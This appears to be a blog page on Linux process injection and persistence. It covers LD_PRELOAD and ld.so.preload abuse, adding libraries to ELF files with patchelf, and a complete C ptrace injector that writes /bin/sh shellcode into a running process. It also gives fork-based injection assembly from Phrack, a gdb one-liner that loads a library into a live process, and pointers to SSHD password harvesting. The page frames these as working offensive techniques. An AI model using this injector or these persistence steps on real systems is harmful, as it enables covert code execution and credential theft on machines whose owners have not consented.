See also
Dynamic Linker/Loader - Make an ELF load specific libraries
Intro
Strictly speaking, this is not the process injection you are expecting. Abusing ld.so
can help you get your shared object (library) loaded in future processes the ELF file might create. In other words, it helps you get persistence.
The programs
ld.so
andld-linux.so*
find and load the shared objects (shared libraries) needed by a program,prepare the program to run, and then run it. Linux binaries require dynamic linking (linking at run time) unless the-static
option was given to ld(1) during compilation. The programld.so
handlesa.out
binaries, a binary format used long ago. The programld-linux.so*
(/lib/ld-linux.so.1
for libc5,/lib/ld-linux.so.2
for glibc2) handles binaries that are in the more modern ELF format. Both programs have the same behavior, and use the same support files and programs (ldd(1), ldconfig(8), and /etc/ld.so.conf).
In essence, ld.so
or the dynamic linker/loader is responsible for linking run-time libraries (shared objects), almost every binary found in a modern Linux system is dynamically linked against multiple C libraries, and you can view/modify the required libraries by modifying the DT_NEEDED
entry in the ELF file.
Preload libraries
LD_PRELOAD
is the most common technique used by linux malware, it tells the ld loader to load a specific shared object before anything else.
You can also set preload library in /etc/ld.so.preload
.
Patch ELFs with additional libraries
DT_NEEDED
This element holds the string table offset of a null-terminated string, giving the name of a needed library. The offset is an index into the table recorded in theDT_STRTAB
code. See 'Shared Object Dependencies' for more information about these names. The dynamic array may contain multiple entries with this type. These entries' relative order is significant, though their relation to entries of other types is not.
Like said above, you can modify DT_NEEDED
entry in an ELF file in order to let it load additional libraries when executed.
There's handy tool developed specifically for this purpose: patchelf
.
patchelf --add-needed libfoo.so.1 my-program
Run-time shared library injection
This works like classic DLL injection on Windows. You can find details here
PTRACE
PTRACE_POKETEXT / PTRACE_POKEDATA
Copy the word data to the address addr in the tracee's memory. As for PTRACE_PEEKTEXT and PTRACE_PEEKDATA, these two requests are currently equivalent.
POKETEXT
modifies the tracee's memory, so we can put our shellcode there, then find a way to execute it
Execute shellcode
Inject shellcode into RIP-pointed address
By injecting shellcode into current RIP-pointed address, our code gets run as long as we send a SIGCONT
(with PTRACE_CONT
or PTRACE_DETATCH
).
But doing so causes the tracee to crash afterwards if we don't restore its previous state
Theres a great article that covers this method: https://0x00sec.org/t/linux-infecting-running-processes/1097
Here's his code, I have added some comments and corrected some typo:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/reg.h>
#include <sys/user.h>
#define SHELLCODE_SIZE 32
unsigned char* shellcode = "\x48\x31\xc0\x48\x89\xc2\x48\x89"
"\xc6\x48\x8d\x3d\x04\x00\x00\x00"
"\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xcc\x90\x90\x90";
int inject_data(pid_t pid, unsigned char* src, void* dst, int len)
{
int i;
uint32_t* s = (uint32_t*)src;
uint32_t* d = (uint32_t*)dst;
// The PTRACE_POKETEXT function works on words,
// so we convert everything to word pointers (32bits) and we also increase i by 4.
for (i = 0; i < len; i += 4, s++, d++) {
if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0) {
perror("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int main(int argc, char* argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2) {
fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
exit(1);
}
target = atoi(argv[1]);
printf("+ Tracing process %d\n", target);
if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0) {
perror("ptrace(ATTACH):");
exit(1);
}
printf("+ Waiting for process...\n");
wait(NULL);
printf("+ Getting Registers\n");
if ((ptrace(PTRACE_GETREGS, target, NULL, ®s)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
/* Inject code into current RIP position */
// this will execute the shellcode but leave the tracee in a dead state
printf("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data(target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2; // PTRACE_DEATCH subtracts 2 bytes to the Instruction Pointer
printf("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace(PTRACE_SETREGS, target, NULL, ®s)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
printf("+ Run it!\n");
// the shellcode will be run (as it's pointed by RIP) after detaching
if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0) {
perror("ptrace(DETACH):");
exit(1);
}
return 0;
}
Inject without crashing the process
From phrack:
I've seen some injection mechanism used by some ptrace() exploits for linux, which injected a standard shellcode into the memory area pointed by %eip. That's the lazy way of doing injection, since the target process is screwed up and can't be used again. (crashes or doesn't fork) We have to find another way to execute our code in the target process. That's what I was thinking and I found this :
1- Get the current eip of the process, and the esp. 2- Decrement esp by four 3- Poke eip address at the esp address. 4- Inject the shellcode into esp - 1024 address (Not directly before the space pointed by esp, because some shellcodes use the push instruction) 5- Set register eip as the value of esp - 1024 6- Invoke the SETREGS method of ptrace 7- Detach the process and let it open a root shell for you :)
This method injects a shellcode that forks a new child process, then inject the real shellcode into it
It has obvious advantage, it runs shellcode in a child process, without affecting the father (the tracee, the process that we inject code into)
The caveat, I assume, is that the child process might be noticeable
The pusha saves all the registers on the stack, so the process may restore them just after the fork. (I say eax and ebx) If the return value of fork is zero, this is the son being executed. There we insert any style of shellcode. If the return value is not zero (but a pid), restore the registers and the previously saved eip. The program may continue as if nothing has happened.
The first two nop
s are due to the same reason that i mentioned: PTRACE_DETATCH
subtracts 2 bytes to the Instruction Pointer
compile the following demo with gcc -c s1.S
, you are going to inject this shellcode to your target process
// all that part has to be done into the injected process
// in other word, this is the injected shellcode
.globl injected_shellcode
injected_shellcode:
// ret location has been pushed previously
nop
nop
pusha // save before anything
xor %eax, %eax
mov $0x02, %al // sys_fork
int $0x80 // fork()
xor %ebx, %ebx
cmp %eax, %ebx // father or son ?
je son // I'm son
// here, I'm the father, I've to restore my previous state
father:
popa
ret // return address has been pushed on the stack previously
// code finished for father
son: // standard shellcode, at your choice
.string ""
See also Shellcode injection 101
Load an external library
This approach needs dlopen
or something similar, basically we need to inject shellcode to run dlopen
then load our shared object (library)
Using gdb to load a library is a much better choice
echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID>
The library gets loaded into the running PID immediately, and your code gets executed
You can upload a statically-linked gdb binary and try your luck
See also Weaponized shared library injection
Weaponize
SSHD inject and password harvesting
- See XPN's ssh-inject tool, he has an article about this, too
- My own approach
Comments
comments powered by Disqus